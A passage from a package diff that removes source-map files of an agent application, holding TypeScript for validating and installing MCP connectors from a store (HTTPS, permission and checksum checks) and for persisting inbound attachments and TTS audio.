if (\n    url.protocol !== 'https:' ||\n    url.username ||\n    url.password ||\n    hostname === 'localhost' ||\n    hostname.endsWith('.localhost') ||\n    isIP(hostname)\n  ) {\n    throw new Error('Store connectors must use a public HTTPS MCP endpoint.');\n  }\n  return url.toString();\n}\n\nfunction readPermissions(value: unknown, isLocal: boolean): ConnectorPermissions {\n  const permissions = asRecord(value, 'Connector permissions');\n  if (permissions.localExec !== isLocal) {\n    if (isLocal) throw new Error('Local Store connectors must explicitly allow local command execution.');\n    throw new Error('Store connectors must explicitly deny local command execution.');\n  }\n  const filesystem = permissions.filesystem === undefined\n    ? []\n    : asStringArray(permissions.filesystem, 'Connector filesystem permissions');\n  if (filesystem.length > 0) {\n    throw new Error('Store connectors cannot request filesystem access.');\n  }\n  const networkDomains = asStringArray(permissions.networkDomains, 'Connector network domains');\n  if (!isLocal && networkDomains.length === 0) {\n    throw new Error('Store connectors must declare at least one network domain.');\n  }\n  return {\n    ...(permissions.data === undefined ? {} : { data: asStringArray(permissions.data, 'Connector data permissions') }),\n    networkDomains,\n    localExec: isLocal,\n    filesystem,\n  };\n}\n\nfunction readPinnedLocalRuntime(runtime: JsonRecord, template: JsonRecord): { registry: 'npm'; name: string; version: string } | null {\n  if (runtime.localPackage === undefined) return null;\n  const localPackage = asRecord(runtime.localPackage, 'Connector localPackage');\n  if (localPackage.registry !== 'npm') {\n    throw new Error('Local Store connectors must use the npm registry.');\n  }\n  const name = asString(localPackage.name, 'Connector local package name');\n  const version = asString(localPackage.version, 'Connector local package version');\n  if (!NPM_PACKAGE_NAME.test(name) || !EXACT_SEMVER.test(version)) {\n    throw new Error('Local Store connectors must use a valid exact npm package version.');\n  }\n  if (template.command !== 'npx' ||\n    JSON.stringify(asStringArray(template.args, 'Connector local MCP arguments')) !== JSON.stringify(['--yes', `${name}@${version}`])) {\n    throw new Error('Local Store connectors must use the pinned npx launch form.');\n  }\n  for (const field of ['url', 'env', 'cwd', 'workingDirectory', 'headers', 'transport']) {\n    if (field in template) throw new Error('Local Store connectors cannot define additional MCP process fields.');\n  }\n  return { registry: 'npm', name, version };\n}\n\nfunction readConnectorManifest(\n  value: unknown,\n  packageName: string,\n  version: string,\n  sha256: string,\n): ConnectorDefinition {\n  const manifest = asRecord(value, 'Connector manifest');\n  if (asString(manifest.id, 'Connector id') !== packageName) {\n    throw new Error('Connector manifest id does not match the store package name.');\n  }\n  const runtime = asRecord(manifest.runtime, 'Connector runtime');\n  if (runtime.type !== 'mcp') {\n    throw new Error('Store connectors must use the MCP runtime.');\n  }\n  const serverTemplate = asRecord(runtime.serverTemplate, 'Connector MCP serverTemplate');\n  const localPackage = readPinnedLocalRuntime(runtime, serverTemplate);\n  const transport = serverTemplate.transport;\n  if (!localPackage && transport !== 'streamable-http' && transport !== 'sse') {\n    throw new Error('Store connectors must use streamable-http or sse transport.');\n  }\n  const auth = asRecord(manifest.auth, 'Connector auth');\n  const authMode = auth.mode;\n  if (authMode !== 'none' && authMode !== 'apiKey') {\n    throw new Error('Store connectors support only none or apiKey authentication.');\n  }\n  const normalizedAuth: ConnectorDefinition['auth'] = { mode: authMode };\n  const category = asString(manifest.category, 'Connector category');\n  if (!['code', 'docs', 'browser', 'data', 'automation', 'custom'].includes(category)) {\n    throw new Error(`Unsupported connector category: ${category}`);\n  }\n  const capabilities = asStringArray(manifest.capabilities, 'Connector capabilities');\n  const allowedCapabilities = new Set([\n    'tools', 'resources', 'prompts', 'context', 'events', 'auth.apiKey',\n    'runtime.mcp.stdio', 'runtime.mcp.sse', 'runtime.mcp.streamableHttp',\n  ]);\n  if (capabilities.some((capability) => !allowedCapabilities.has(capability))) {\n    throw new Error('Connector manifest contains an unsupported capability.');\n  }\n  const setup = manifest.setup === undefined ? {} : asRecord(manifest.setup, 'Connector setup');\n  const permissions = readPermissions(manifest.permissions, Boolean(localPackage));\n  const endpoint = localPackage ? undefined : assertSafeRemoteUrl(serverTemplate.url);\n  const hostname = endpoint ? new URL(endpoint).hostname : undefined;\n  if (hostname && permissions.networkDomains?.length && !permissions.networkDomains.includes(hostname)) {\n    throw new Error('Connector network permissions must include the MCP endpoint host.');\n  }\n\n  return {\n    id: packageName,\n    version,\n    displayName: asString(manifest.displayName, 'Connector displayName'),\n    description: asString(manifest.description, 'Connector description'),\n    category: category as ConnectorDefinition['category'],\n    kind: 'mcp',\n    source: 'store',\n    capabilities: capabilities as ConnectorDefinition['capabilities'],\n    ...(Array.isArray(manifest.tags) ? { tags: asStringArray(manifest.tags, 'Connector tags') } : {}),\n    auth: normalizedAuth,\n    setup: setup as ConnectorDefinition['setup'],\n    runtime: {\n      type: 'mcp',\n      serverId: asString(runtime.serverId, 'Connector MCP serverId'),\n      serverTemplate: localPackage ? serverTemplate : { ...serverTemplate, url: endpoint },\n      ...(localPackage ? { localPackage } : {}),\n    },\n    permissions,\n    provenance: { packageName, sha256 },\n  };\n}\n\nfunction readConnectorManifestFromArchive(buffer: Buffer): unknown {\n  let archive: AdmZip;\n  try {\n    archive = new AdmZip(buffer);\n  } catch {\n    throw new Error('Store connector artifact is not a valid zip archive.');\n  }\n  const entry = archive.getEntries().find((candidate) => {\n    const path = candidate.entryName.replace(/\\\\/g, '/').replace(/^\\/+/, '');\n    return !candidate.isDirectory && (path === 'xopc.connector.json' || path.endsWith('/xopc.connector.json'));\n  });\n  if (!entry) {\n    throw new Error('Store connector artifact is missing xopc.connector.json.');\n  }\n  try {\n    return JSON.parse(entry.getData().toString('utf8'));\n  } catch {\n    throw new Error('Store connector manifest is not valid JSON.');\n  }\n}\n\nexport async function listStoreConnectors(config: Config, params: SkillsStoreListParams) {\n  return listConnectorPackages(resolveSkillsStoreBaseUrl(config), params);\n}\n\nexport async function getStoreConnectorInstallPlan(\n  config: Config,\n  packageName: string,\n  version?: string,\n): Promise<StoreConnectorInstallPlan> {\n  const storeBaseUrl = resolveSkillsStoreBaseUrl(config);\n  const detail = await fetchStoreConnectorPackageDetail(storeBaseUrl, packageName, version);\n  const sha256 = detail.latestVersion.sha256;\n  if (!sha256 || !/^[a-f0-9]{64}$/i.test(sha256)) {\n    throw new Error('Store connector version is missing a valid SHA-256 checksum.');\n  }\n  const archive = await downloadConnectorStoreZipBuffer(storeBaseUrl, detail.latestVersion.downloadUrl);\n  const actualSha256 = createHash('sha256').update(archive).digest('hex');\n  if (actualSha256 !== sha256.toLowerCase()) {\n    throw new Error('Store connector artifact checksum verification failed.');\n  }\n  const artifactManifest = readConnectorManifestFromArchive(archive);\n  const definition = readConnectorManifest(\n    artifactManifest,\n    detail.name,\n    detail.latestVersion.version,\n    actualSha256,\n  );\n  const storeManifest = readConnectorManifest(\n    detail.latestVersion.manifest,\n    detail.name,\n    detail.latestVersion.version,\n    actualSha256,\n  );\n  if (JSON.stringify(definition.runtime) !== JSON.stringify(storeManifest.runtime)) {\n    throw new Error('Store connector metadata does not match its verified artifact.');\n  }\n  return {\n    packageName: detail.name,\n    version: detail.latestVersion.version,\n    permissions: definition.permissions ?? {},\n    requiresRestart: false,\n    definition,\n  };\n}\n\nexport async function installStoreConnector(\n  config: Config,\n  packageName: string,\n  input: ConnectorInstallInput,\n  version?: string,\n) {\n  const plan = await getStoreConnectorInstallPlan(config, packageName, version);\n  const instance = await installConnectorDefinition(config, plan.definition, input);\n  return { instance, plan };\n}\n"],"mappings":"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"}

package/dist/src/channels/attachments/attachment-classifiers.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"attachment-classifiers.js","names":[],"sources":["../../../../src/channels/attachments/attachment-classifiers.ts"],"sourcesContent":["const VISION_IMAGE_MIME_TYPES = new Set([\n  'image/jpeg',\n  'image/png',\n  'image/gif',\n  'image/webp',\n]);\n\nexport function isSupportedVisionImageMimeType(mimeType: string | undefined): boolean {\n  const normalized = mimeType?.split(';')[0]?.trim().toLowerCase();\n  return normalized ? VISION_IMAGE_MIME_TYPES.has(normalized) : false;\n}\n\nexport function isImageInboundAttachment(att: {\n  type?: string;\n  mimeType?: string;\n}): boolean {\n  if (att.mimeType) {\n    return isSupportedVisionImageMimeType(att.mimeType);\n  }\n\n  return (\n    att.type === 'image' ||\n    att.type === 'photo'\n  );\n}\n\nexport function isVoiceInboundAttachment(att: { type?: string; mimeType?: string }): boolean {\n  return (\n    att.type === 'voice' ||\n    att.type === 'audio' ||\n    att.mimeType?.startsWith('audio/') === true\n  );\n}\n"],"mappings":";AAAA,MAAM,0BAA0B,IAAI,IAAI;CACtC;CACA;CACA;CACA;CACD,CAAC;AAEF,SAAgB,+BAA+B,UAAuC;CACpF,MAAM,aAAa,UAAU,MAAM,IAAI,CAAC,IAAI,MAAM,CAAC,aAAa;AAChE,QAAO,aAAa,wBAAwB,IAAI,WAAW,GAAG;;AAGhE,SAAgB,yBAAyB,KAG7B;AACV,KAAI,IAAI,SACN,QAAO,+BAA+B,IAAI,SAAS;AAGrD,QACE,IAAI,SAAS,WACb,IAAI,SAAS;;AAIjB,SAAgB,yBAAyB,KAAoD;AAC3F,QACE,IAAI,SAAS,WACb,IAAI,SAAS,WACb,IAAI,UAAU,WAAW,SAAS,KAAK"}

package/dist/src/channels/attachments/inbound-persist.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"inbound-persist.js","names":[],"sources":["../../../../src/channels/attachments/inbound-persist.ts"],"sourcesContent":["/**\n * Persist inbound uploads to the global media store (`{stateDir}/media/inbound/`).\n */\n\nimport { createLogger } from '../../utils/logger.js';\nimport {\n  MEDIA_MAX_BYTES,\n  parseMediaUri,\n  readMediaReference,\n  resolveMediaReference,\n  saveMediaBuffer,\n} from '../../media/index.js';\nimport type { InboundAttachmentInput, MediaRef } from '../../media/types.js';\nimport { mediaRefFromUri, toMediaRef } from './inbound-types.js';\n\nconst log = createLogger('InboundPersist');\n\nexport type { InboundAttachmentInput, MediaRef } from '../../media/types.js';\nexport { isImageInboundAttachment, isVoiceInboundAttachment } from './attachment-classifiers.js';\nexport { toMediaRef, mediaRefFromUri } from './inbound-types.js';\n\n/** Decode base64 or data-URL payload (composer wire + voice STT). */\nexport function decodeInboundAttachmentBase64(data: string): Buffer {\n  const trimmed = data.trim();\n  const b64 = trimmed.startsWith('data:') ? (trimmed.split(/base64,/)[1] ?? trimmed) : trimmed;\n  return Buffer.from(b64.replace(/\\s/g, ''), 'base64');\n}\n\n/**\n * Write attachments with binary `data` to the media store; returns metadata-only refs.\n */\nexport async function persistInboundAttachments(\n  attachments: InboundAttachmentInput[] | undefined,\n  opts?: {\n    maxBytes?: number;\n    resolveUri?: (uri: string, attachment: InboundAttachmentInput) => Promise<{\n      buffer: Buffer;\n      path: string;\n      mimeType: string;\n      name: string;\n      size: number;\n    } | null>;\n  },\n): Promise<MediaRef[] | undefined> {\n  if (!attachments?.length) return undefined;\n\n  const maxBytes = opts?.maxBytes ?? MEDIA_MAX_BYTES;\n  const out: MediaRef[] = [];\n\n  for (const att of attachments) {\n    if (att.uri?.trim()) {\n      const uri = att.uri.trim();\n      if (uri.startsWith('media://')) {\n        const resolved = await resolveMediaReference(uri);\n        out.push(\n          mediaRefFromUri(att, resolved.uri, resolved.path, resolved.bucket, resolved.id),\n        );\n      } else {\n        const resolved = await opts?.resolveUri?.(uri, att);\n        if (!resolved) {\n          throw new Error(`Inbound attachment \"${att.name ?? 'file'}\" has unsupported uri`);\n        }\n        const saved = await saveMediaBuffer(resolved.buffer, {\n          contentType: resolved.mimeType,\n          bucket: 'inbound',\n          maxBytes,\n          originalFilename: resolved.name,\n        });\n        out.push(toMediaRef({ ...att, mimeType: resolved.mimeType, name: resolved.name, size: resolved.size }, saved));\n      }\n      continue;\n    }\n\n    if (!att.data || att.data.length === 0) {\n      throw new Error(`Inbound attachment \"${att.name ?? 'file'}\" is missing data and uri`);\n    }\n\n    const buf = decodeInboundAttachmentBase64(att.data);\n    const saved = await saveMediaBuffer(buf, {\n      contentType: att.mimeType,\n      bucket: 'inbound',\n      maxBytes,\n      originalFilename: att.name,\n    });\n\n    log.debug({ uri: saved.uri, bytes: saved.size, name: att.name }, 'Inbound attachment persisted');\n\n    out.push(toMediaRef(att, saved));\n  }\n\n  return out.length ? out : undefined;\n}\n\n/** Read attachment bytes by media URI (voice STT, tools). */\nexport async function readInboundAttachmentBuffer(uri: string): Promise<Buffer> {\n  const { buffer } = await readMediaReference(uri);\n  return buffer;\n}\n\nexport function assertMediaUri(uri: string): void {\n  parseMediaUri(uri);\n}\n"],"mappings":";;;;;;;;aAIqD;AAWrD,MAAM,MAAM,aAAa,iBAAiB;;AAO1C,SAAgB,8BAA8B,MAAsB;CAClE,MAAM,UAAU,KAAK,MAAM;CAC3B,MAAM,MAAM,QAAQ,WAAW,QAAQ,GAAI,QAAQ,MAAM,UAAU,CAAC,MAAM,UAAW;AACrF,QAAO,OAAO,KAAK,IAAI,QAAQ,OAAO,GAAG,EAAE,SAAS;;;;;AAMtD,eAAsB,0BACpB,aACA,MAUiC;AACjC,KAAI,CAAC,aAAa,OAAQ,QAAO,KAAA;CAEjC,MAAM,WAAW,MAAM,YAAA;CACvB,MAAM,MAAkB,EAAE;AAE1B,MAAK,MAAM,OAAO,aAAa;AAC7B,MAAI,IAAI,KAAK,MAAM,EAAE;GACnB,MAAM,MAAM,IAAI,IAAI,MAAM;AAC1B,OAAI,IAAI,WAAW,WAAW,EAAE;IAC9B,MAAM,WAAW,MAAM,sBAAsB,IAAI;AACjD,QAAI,KACF,gBAAgB,KAAK,SAAS,KAAK,SAAS,MAAM,SAAS,QAAQ,SAAS,GAAG,CAChF;UACI;IACL,MAAM,WAAW,MAAM,MAAM,aAAa,KAAK,IAAI;AACnD,QAAI,CAAC,SACH,OAAM,IAAI,MAAM,uBAAuB,IAAI,QAAQ,OAAO,uBAAuB;IAEnF,MAAM,QAAQ,MAAM,gBAAgB,SAAS,QAAQ;KACnD,aAAa,SAAS;KACtB,QAAQ;KACR;KACA,kBAAkB,SAAS;KAC5B,CAAC;AACF,QAAI,KAAK,WAAW;KAAE,GAAG;KAAK,UAAU,SAAS;KAAU,MAAM,SAAS;KAAM,MAAM,SAAS;KAAM,EAAE,MAAM,CAAC;;AAEhH;;AAGF,MAAI,CAAC,IAAI,QAAQ,IAAI,KAAK,WAAW,EACnC,OAAM,IAAI,MAAM,uBAAuB,IAAI,QAAQ,OAAO,2BAA2B;EAIvF,MAAM,QAAQ,MAAM,gBADR,8BAA8B,IAAI,KACP,EAAE;GACvC,aAAa,IAAI;GACjB,QAAQ;GACR;GACA,kBAAkB,IAAI;GACvB,CAAC;AAEF,MAAI,MAAM;GAAE,KAAK,MAAM;GAAK,OAAO,MAAM;GAAM,MAAM,IAAI;GAAM,EAAE,+BAA+B;AAEhG,MAAI,KAAK,WAAW,KAAK,MAAM,CAAC;;AAGlC,QAAO,IAAI,SAAS,MAAM,KAAA;;;AAI5B,eAAsB,4BAA4B,KAA8B;CAC9E,MAAM,EAAE,WAAW,MAAM,mBAAmB,IAAI;AAChD,QAAO;;AAGT,SAAgB,eAAe,KAAmB;AAChD,eAAc,IAAI"}

package/dist/src/channels/attachments/inbound-types.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"inbound-types.js","names":[],"sources":["../../../../src/channels/attachments/inbound-types.ts"],"sourcesContent":["import type { InboundAttachmentInput, MediaRef } from '../../media/types.js';\nimport {\n  isImageInboundAttachment,\n  isVoiceInboundAttachment,\n} from './attachment-classifiers.js';\n\nexport type { InboundAttachmentInput, MediaRef } from '../../media/types.js';\nexport { isImageInboundAttachment, isVoiceInboundAttachment };\n\nexport function toMediaRef(\n  att: InboundAttachmentInput,\n  saved: { id: string; bucket: MediaRef['bucket']; uri: string; path: string; size: number; contentType: string },\n): MediaRef {\n  return {\n    id: saved.id,\n    bucket: saved.bucket,\n    type: att.type,\n    mimeType: att.mimeType?.trim() || saved.contentType,\n    name: att.name?.trim() || 'file',\n    size: att.size ?? saved.size,\n    uri: saved.uri,\n    path: saved.path,\n  };\n}\n\nexport function mediaRefFromUri(\n  att: InboundAttachmentInput,\n  uri: string,\n  path: string,\n  bucket: MediaRef['bucket'],\n  id: string,\n): MediaRef {\n  return {\n    id,\n    bucket,\n    type: att.type,\n    mimeType: att.mimeType?.trim() || 'application/octet-stream',\n    name: att.name?.trim() || 'file',\n    size: att.size ?? 0,\n    uri,\n    path,\n  };\n}\n"],"mappings":";;AASA,SAAgB,WACd,KACA,OACU;AACV,QAAO;EACL,IAAI,MAAM;EACV,QAAQ,MAAM;EACd,MAAM,IAAI;EACV,UAAU,IAAI,UAAU,MAAM,IAAI,MAAM;EACxC,MAAM,IAAI,MAAM,MAAM,IAAI;EAC1B,MAAM,IAAI,QAAQ,MAAM;EACxB,KAAK,MAAM;EACX,MAAM,MAAM;EACb;;AAGH,SAAgB,gBACd,KACA,KACA,MACA,QACA,IACU;AACV,QAAO;EACL;EACA;EACA,MAAM,IAAI;EACV,UAAU,IAAI,UAAU,MAAM,IAAI;EAClC,MAAM,IAAI,MAAM,MAAM,IAAI;EAC1B,MAAM,IAAI,QAAQ;EAClB;EACA;EACD"}

package/dist/src/channels/attachments/outbound-tts-persist.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"outbound-tts-persist.js","names":[],"sources":["../../../../src/channels/attachments/outbound-tts-persist.ts"],"sourcesContent":["/**\n * Persist outbound TTS audio to `{stateDir}/media/tts/`.\n */\n\nimport { createLogger } from '../../utils/logger.js';\nimport { saveMediaBuffer } from '../../media/index.js';\nimport type { MediaRef } from '../../media/types.js';\n\nconst log = createLogger('OutboundTtsPersist');\n\nfunction extForFormat(format: string): string {\n  const f = format.toLowerCase();\n  if (f === 'opus' || f === 'ogg') return '.ogg';\n  if (f === 'mp3' || f === 'mpeg') return '.mp3';\n  if (f === 'wav') return '.wav';\n  return '.bin';\n}\n\nfunction mimeForFormat(format: string): string {\n  const f = format.toLowerCase();\n  if (f === 'opus' || f === 'ogg') return 'audio/ogg';\n  if (f === 'mp3' || f === 'mpeg') return 'audio/mpeg';\n  if (f === 'wav') return 'audio/wav';\n  return 'application/octet-stream';\n}\n\nexport async function persistOutboundTtsAudio(\n  audioBuffer: Buffer,\n  format: string,\n): Promise<MediaRef> {\n  const ext = extForFormat(format);\n  const saved = await saveMediaBuffer(audioBuffer, {\n    contentType: mimeForFormat(format),\n    bucket: 'tts',\n    originalFilename: `assist${ext}`,\n  });\n\n  log.debug({ uri: saved.uri, bytes: saved.size }, 'TTS audio persisted');\n\n  return {\n    id: saved.id,\n    bucket: 'tts',\n    type: 'voice',\n    mimeType: saved.contentType,\n    name: saved.id,\n    size: saved.size,\n    uri: saved.uri,\n    path: saved.path,\n  };\n}\n"],"mappings":";;;;aAIqD;AAIrD,MAAM,MAAM,aAAa,qBAAqB;AAE9C,SAAS,aAAa,QAAwB;CAC5C,MAAM,IAAI,OAAO,aAAa;AAC9B,KAAI,MAAM,UAAU,MAAM,MAAO,QAAO;AACxC,KAAI,MAAM,SAAS,MAAM,OAAQ,QAAO;AACxC,KAAI,MAAM,MAAO,QAAO;AACxB,QAAO;;AAGT,SAAS,cAAc,QAAwB;CAC7C,MAAM,IAAI,OAAO,aAAa;AAC9B,KAAI,MAAM,UAAU,MAAM,MAAO,QAAO;AACxC,KAAI,MAAM,SAAS,MAAM,OAAQ,QAAO;AACxC,KAAI,MAAM,MAAO,QAAO;AACxB,QAAO;;AAGT,eAAsB,wBACpB,aACA,QACmB;CACnB,MAAM,MAAM,aAAa,OAAO;CAChC,MAAM,QAAQ,MAAM,gBAAgB,aAAa;EAC/C,aAAa,cAAc,OAAO;EAClC,QAAQ;EACR,kBAAkB,SAAS;EAC5B,CAAC;AAEF,KAAI,MAAM;EAAE,KAAK,MAAM;EAAK,OAAO,MAAM;EAAM,EAAE,sBAAsB;AAEvE,QAAO;EACL,IAAI,MAAM;EACV,QAAQ;EACR,MAAM;EACN,UAAU,MAAM;EAChB,MAAM,MAAM;EACZ,MAAM,MAAM;EACZ,KAAK,MAAM;EACX,MAAM,MAAM;EACb"}

package/dist/src/channels/attachments/voice-stt-webchat.js.map

@@ -1 +0,0 @@
